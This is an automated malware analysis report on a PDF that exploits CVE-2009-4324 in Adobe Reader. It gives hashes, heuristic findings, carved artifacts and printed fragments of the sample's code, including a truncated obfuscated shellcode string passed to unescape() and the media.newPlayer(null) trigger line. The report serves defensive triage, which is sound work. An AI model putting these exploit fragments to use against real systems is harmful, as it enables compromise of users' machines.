Malicious PDF — malware analysis report

Static analysis result for SHA-256 db48b5d77533ead5…

MALICIOUS

PDF

147.0 KB Created: 2010-03-10 10:01:17 +08:00 Authoring application: PScript5.dll Version 5.2.2 (via Bullzip PDF Printer / www.bullzip.com / Freeware Edition (not registered)) First seen: 2026-05-10
MD5: 7e8bc95b4b0fb4bc1d7ca5cd64034dea SHA-1: 2708dd54d19afd9f63fdac9babdfb37cff408864 SHA-256: db48b5d77533ead56bdd5d9e119ede45c639196d3b8bfce5b8b1b3808dde61e0
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript that exploits CVE-2009-4324. This exploit is designed to download and execute a secondary payload, indicated by the 'media.newPlayer' sink and the presence of obfuscated JavaScript streams. The polyglot nature of the file, containing a secondary PDF, further suggests a multi-stage attack. No specific family could be identified, but the exploit and delivery mechanism are clear.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9299

Heuristics 8

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var sc =  unescape(urpl("%Zc8d9%Z74d9%Zf424%Zeeba%Zdee0%Z29dc%Z5fc9%Z37b1%Z5731%Z8314%Z1c01%Z243c%Z4e07%Zdcde%Z59ee%Zdcda%Ze0ee%Zb881%Zd04f%Zdcde%Z6bee%Zd09e%Z9065%Z71c2%Z8865%Z8dd6%Z9565%Z57e2%Zce9a%Zdfa6%Zb61b%Zaa55%Ze3ce%Zef2b%Za927%Z719f%Z25ed%Z07ed%Z5ee1%Ze4ce%Z941c%Z1dd6%Zed25%Z06dd%Z0bae%Ze72f%Z95f1%Z8239%Zbe65%Zdffa%Z8633%Zd055%Z6ba5%Zc080%Z3ded%Zd855%Ze365%Z771b%Z02b7%Zef62%Z6335%Zd81d%Ze084%Z238d%Z1cb9%Zdbe5%Z139b%Z8357%Z7912%Z8e8c%Z9711%Z23da%Z1c99%Z8b21%Z7916%Z9cb4%Ze086%Zdcce%Z1fee% …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/iX/1.0/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 7

Files carved from inside the sample during analysis.

FilenameKindSourceSize
stream_004_off0000063a.js decompressed-pdf-stream PDF FlateDecoded stream at offset 0x63A 2660 bytes
SHA-256: 42f03bc035850154aaae34acc56e54ab9521b8e62ae89a4238dbadb624bb463b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
legacy_pdfkit_stage_000.js deobfuscated-js string-concatenation normalized Acrobat API aliases at offset 0x63A 126 bytes
SHA-256: 42c3f4df375ff6f58ff655cc4f88b5cc28f0dd33b978390db3538684a6219b74
Preview script
First 1,000 lines of the extracted script
media.newPlayer(null); /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */
objstm_0023_00.bin pdf-objstm-decoded PDF /ObjStm 23 0 obj (inflated) 274 bytes
SHA-256: e8bfe65c34a535b0837ce7c541e45b42ab61e1ff13de05788daf7770f9a1ec0e
font_00_sfnt_off0000dc9b.bin pdf-font-stream PDF embedded font (sfnt) at offset 0xDC9B 84540 bytes
SHA-256: 51f1bd9423cd723c587f4887ef911151884a1423f8e3bf9ae43ee102ccdfcea7
font_01_sfnt_off00011260.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x11260 204632 bytes
SHA-256: a97d64349b56d2c01120369604811641de9dce8f8e05f66405c4497078681ebe
polyglot_child_pdf_off000093ff.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x93FF 112621 bytes
SHA-256: 0f4306b08adaa07392eca5b3b185180295b24ad049baeee12f122f47dffabe3a
polyglot_child_pdf_off000233ff.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x233FF 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8

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